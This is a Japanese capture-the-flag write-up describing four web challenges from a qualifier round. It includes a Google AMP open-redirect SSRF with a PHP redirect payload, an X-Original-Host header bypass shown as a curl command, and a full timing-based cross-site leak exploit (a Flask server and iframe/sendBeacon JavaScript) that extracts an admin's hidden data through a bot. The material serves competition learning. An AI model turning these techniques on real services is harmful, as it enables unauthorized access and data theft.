9/27 - 9/29という日程で開催された。BunkyoWesternsのst98として参加して4位。早々に(3番目に)全完していたし問題の追加もないというアナウンスを確認していたので、3位は確定かと思っていたが、後から抜かれてしまった。どういうことかと思ったら、1位のチームはスコアサーバのマズい脆弱性を見つけており、これでボーナスポイントをもらっていたらしい。
Qualsと名前に付いていることからわかるように、決勝大会は11/28 - 11/29でブカレストで開催される。形式はA&Dらしい。15チームが予選から招待されるということなのでおそらく通過できているが、参加するかについてはどうだろう。"Full or partial accommodation reimbursement will be provided" ということなので、旅費支援については宿泊費のみっぽいし。
- [Web 50] oracle-srl (133 solves)
- [Web 170] noogle (67 solves)
- [Web 280] production-bay (46 solves)
- [Web 370] reelfreaks (26 solves)
[Web 50] oracle-srl (133 solves)
[ 5 aug 2024 ] Just finished my ecommerce website. It took quite a lot of time because I wanted to make sure it's extra secure, I'm sure it will get some traction. I'm so excited!
[ 20 aug 2024 ] The website isn't picking up as i hoped it would, but I'm still optimistic
[ 13 sep 2024 ] The store is a complete bust and there is this annoying customer that keeps on checking my store every other damn minute but doesn't buy anything.
[ 13 sep 2024 ] JUST BUY SOMETHING!Flag format: CTF{sha256}
添付ファイル: source-oracle-srl.zip
HardだとかCryptographyだとかタグが付いていて不穏だが、やけにsolves数が多かった。どういうことかと思いながらも添付ファイルを展開すると Oracle-SRL
と source-oracle
という2つのディレクトリが出てくる。ただ、それらのディレクトリに含まれるファイルはほとんど同じに思える。diffを見ると前者には solver
というディレクトリがあったり、client/client.go
にはフラグが含まれていたりした。これを投げると通った。
配布用のファイルだけでなく、デプロイ用のファイルまでまとめて配布してしまったのだろう。それだけならフラグを差し替えればよいだけだけれども、ソルバまで配布してしまったのでリベンジ問を出すのも難しい状況のようだった。かわいそう。
func CheckProducts() { browser := rod.New().MustConnect() defer browser.MustClose() flag_owner_session_token, err := session.GenerateSessionToken("antal.alexandru@bit-sentinel.com", "CTF{e663b007e3d1fd27f657e2756e3ba8724a37119d145063ce541595988b6cdc72}", controllers.Key) if err != nil { panic(err) } // …
CTF{e663b007e3d1fd27f657e2756e3ba8724a37119d145063ce541595988b6cdc72}
[Web 170] noogle (67 solves)
Last week I decided to create my own search engine. It was kinda hard so i piggybacked on another one. I also tried something on port 8000.
Flag format: CTF{sha256}
ブラックボックス問らしい。うーん。とりあえず問題サーバにアクセスすると、次のようなページが表示された。適当なクエリで検索すると、Googleと同じ結果が返ってくる。
DevToolsでNetworkタブを見ていると、/api/getLinks
というAPIを叩いている様子が確認できた。リクエストボディは {"url":"https://www.google.com/search?q=a"}
というような感じで、指定したURLにHTTPリクエストを送り、そのレスポンスを返してくれているような感じがある。
問題文を見るに localhost:8000
を叩けばよいのだろうと思うけれども、ただ url
を http://localhost:8000
に変えても "Invalid url" と怒られてしまう。検証の結果、https://www.google.com/
から始まっていなければ受け付けてくれないことがわかった。https://www.google.com/
下でOpen Redirectはできないだろうか。
悩んでいると、文京区でそこらへんを歩いていた野良猫が、https://www.google.com/amp/s/example.com
のようにAMPを使うことでGoogleから脱出できることを見つけた。localhost:8000
ではダメだが、以下のようにリダイレクトならばいけた。
<?php header('Location: http://localhost:8000');
CTF{9cf16d163cbaecc592ca40bee3de4b1626ee0f4a3b3db23cbd5ad921049ebc0f}
[Web 280] production-bay (46 solves)
Some powerful proxy protects our cat factory production bay, but the strange thing is that we edited some nginx config in the platform to protect our /flag route, and things do not look as secure as expected.
Flag format: ctf{sha256sum}
これもブラックボックス。ブラックボックス嫌だなあ。アクセスするたびに別の猫の画像を表示してくれるWebアプリっぽいれども、これは /api/data/cat
というAPIを叩いて画像のURLを引っ張ってきている。URLを削って /api/data
にアクセスすると次のようなレスポンスが返ってきた。
{"Warning":"This is a test server, do not use in production! /debug is enabled for testing purposes.","message":"This is data from the Flask backend proxied!"}
なるほど。/api/data/debug
のレスポンスは次の通り。host
というクエリパラメータを追加するとよいらしい。
{"error":"Use ?host= to proxy to your host!"}
nc -lvp 8000
で待ち受けつつ試してみる。次のようなリクエストが来た。元々問題サーバに投げたヘッダを引き継ぎつつも、X-Real-Ip
や X-Original-Host
といったヘッダを追加しているらしい。
$ nc -lvp 8000 Listening on 0.0.0.0 8000 Connection received on (省略) GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Connection: close Host: localhost:5000 X-Real-Ip: … X-Forwarded-For: … X-Original-Host: :5000 Upgrade-Insecure-Requests: 1 Accept-Language: ja,en-US;q=0.9,en;q=0.8
/flag
を手に入れろと問題文で指示されている。/api/data/debug?host=localhost:5000/flag
を試すと次のように怒られた。request.host
は :5000
だけど、そうでなくちゃんと localhost:5000
にアクセスしてねと言っているように読める。
{"request.host":":5000","status":"403: You need to access using localhost:5000"}
ならば、先程のリクエスト中に含まれていた X-Original-Host
に localhost
を仕込むとどうなるだろうか。やってみると、フラグが得られた。
$ curl http://(省略)/api/data/debug?host=localhost:5000/flag -H "X-Original-Host: localhost" {"flag":"ctf{89b52b00fd39c0410372b898632e6bf0648ae9f43d500762d03af9e7768bcbfd}","request.host":"localhost:5000"}
ctf{89b52b00fd39c0410372b898632e6bf0648ae9f43d500762d03af9e7768bcbfd}
[Web 370] reelfreaks (26 solves)
Some things are better to remain unseen. Unless, of course, you are a real freak.
NOTE: the website is served over HTTPS
Flag format: DCTF{}
添付ファイル: dctf_web_reelfreaks.zip
映画のウォッチリストを管理できるWebアプリが与えられている。まずフラグはどこかと flag
やフラグフォーマットの DCTF
で検索してみるがヒットしない。db.sqlite
にようやく見つけた。どうやらIDが30の映画としてフラグが含まれているらしい。banned
というフラグが立っており、一般ユーザではこの映画の詳細を確認したり、ウォッチリストに入れたりすることはできない。
sqlite> select * from movie where banned=1; 30|DCTF{fake_flag}|1337|./public/dance1.gif|1|[1]
bot.py
からはadmin botの挙動がわかる。adminとしてログインし、指定されたURLを閲覧するらしい。なお、adminは先程の banned
というフラグが立っている映画であっても、ウォッチリストに入れることができる。また、ここではその処理が書かれていないけれども、adminは先程のフラグをタイトルとして含む映画をウォッチリストに入れている。
from playwright.sync_api import sync_playwright import os def visit(url): with sync_playwright() as p: browser = p.chromium.launch( headless=True, args=[ '--ignore-ssl-errors=yes', '--ignore-certificate-errors', '--start-maximized', '--disable-infobars', '--disable-extensions', '--disable-gpu', '--no-sandbox' ] ) page = browser.new_page() page.goto("https://127.0.0.1:5000/login") page.fill("#username", os.getenv("ADMIN_USER") or 'admin') page.fill("#password", os.getenv("ADMIN_PASS") or 'admin') page.click("#submit") page.goto(url,wait_until="networkidle",timeout=60000) browser.close()
visit
は次のように呼び出されている。https://127.0.0.1
から始めるようにしていてセキュアに見えるが、そうではない。@
から始めれば 127.0.0.1
の部分をBASIC認証のクレデンシャル部分として扱わせることができ、これによって 127.0.0.1
でない外部のページにアクセスさせることができる。
@main.route('/report', methods=['POST']) @login_required def report(): url = "https://127.0.0.1" + request.form.get('movie') thread = threading.Thread(target=visit,args=(url,)) thread.start() return 'OK'
この問題はなぜか localhost
含めHTTPSでホストされているし、以下のように SameSite=None
が設定されているので、外部のページで iframe
で埋め込んだとしてもCookieが飛ぶ。
app.config['SESSION_COOKIE_SECURE'] = True app.config['SESSION_COOKIE_SAMESITE'] = 'None'
さて、どうやってウォッチリストに含まれる映画のタイトルを手に入れるか。実はウォッチリストでは以下のように検索もできる。DCTF{…
というように検索してヒットした場合とヒットしなかった場合とで挙動は変化しないだろうか。それをオラクルとして1文字ずつフラグを手に入れられないだろうか。
大きな違いとして、映画がヒットした場合には画像が読み込まれるという点がある。これによってロード時間が変わるはずなので、iframe
の load
イベントが発生する時間を見ることで1文字ずつフラグが手に入れられるのではないか。
@main.route('/watchlist') @login_required def watchlist(): movie_ids = current_user.get_watched() query= request.args.get('q', '').lower() if query: movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids),Movie.title.ilike(f'%{query}%')).all() else: movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids)).all() for i,movie in enumerate(movies): if movie.banned != False and current_user.role != 'real_freak': movies.pop(i) continue watched_by = movie.get_watched() if watched_by: movie.users = [] users = db.session.query(User).filter(User.id.in_(watched_by)) if users: for user in users: if not user.id == current_user.id: movie.users.append(user.username) return render_template('watchlist.html',movies=movies)
ということで出来上がったのが次のexploitだ。ロード時間の差異が微妙だったのでいろいろ試していたのだけれども、結果として実際にexploitの安定に寄与しているかはわからないおまじないが多い。
import time from flask import Flask app = Flask(__name__) @app.route('/bbbb.php') def bbbb(): with open('bbbb.php', 'r') as f: b = f.read() return b @app.route('/cccc.php') def cccc(): time.sleep(1000) return 'ok' app.run(host='0.0.0.0', port=80, debug=True)
<body> <form method="POST" target="poyopo"> <input type="text" name="movie_id"> </form> <script> const BASE_URL = 'https://127.0.0.1:5000'; async function go(url) { return new Promise(r => { const i = document.createElement('iframe'); i.src = url; const start = performance.now(); i.onload = () => { const d = performance.now() - start; document.body.removeChild(i); r(d); }; document.body.appendChild(i); }); } function log(s) { navigator.sendBeacon(`/log.php?${s}`) } async function main() { let flag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_' const table = 'abcdefghijklmnopqrstuvwxyz0123456789{}'; log('start'); let cc = 0; setInterval(() => { log('ok' + cc++); }, 20_000); // 暖機運転 for (let i = 0; i < 5; i++) { await go(`${BASE_URL}/watchlist?q=DCTF{po%25yo}&${Math.random()}`); } while (true) { let result = {}; for (let i = 0; i < 5; i++) { for (const c of table) { if (!result[c]) result[c] = 0; result[c] += await go(`${BASE_URL}/watchlist?q=${flag}${c}&${Math.random()}`); } } let mi = -Infinity, mc = ''; for (const [c, d] of Object.entries(result)) { console.log(d, c); if (d > mi) { mi = d; mc = c; } } console.log(flag + mc); log(`${flag.length}-${mc}`); flag += '_'; } } main(); </script> <img src=/cccc.php> </body>
DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}
今回見た問題の中で一番面白かった。ただ、フラグがどのようにして格納されているかがコード等で明確に示されていなかったり、フラグが長い上に文字種が指定されていなかったり、ちょっと面倒くさいなあと思うところがあった。
CTF終了後に公式のDiscordサーバを見ていたところ、実は banned
な映画はウォッチリストから閲覧できないだけで、以下の通りウォッチリストへの追加自体はできるらしかった。そして、ウォッチリストのページでは各映画についてほかにどんなユーザがそれをウォッチリストに追加しているかが表示されるので、あらかじめとても長いユーザ名のユーザのウォッチリストにフラグの含まれる映画を追加しておくことで、もうちょっといい感じにレンダリングの時間を伸ばせるらしい。
@main.route('/add_movie', methods=['POST']) @login_required def add_movie(): movie_id = request.form.get('movie_id') if movie_id: movie = db.session.query(Movie).get(movie_id) if movie: user = db.session.query(User).get(current_user.id) watchlist = user.get_watched() if movie.id not in watchlist: watchlist.append(int(movie_id)) user.set_watched(watchlist) watched_by = movie.get_watched() watched_by.append(int(current_user.id)) movie.set_watched(watched_by) db.session.commit() return "Movie added successfully :)"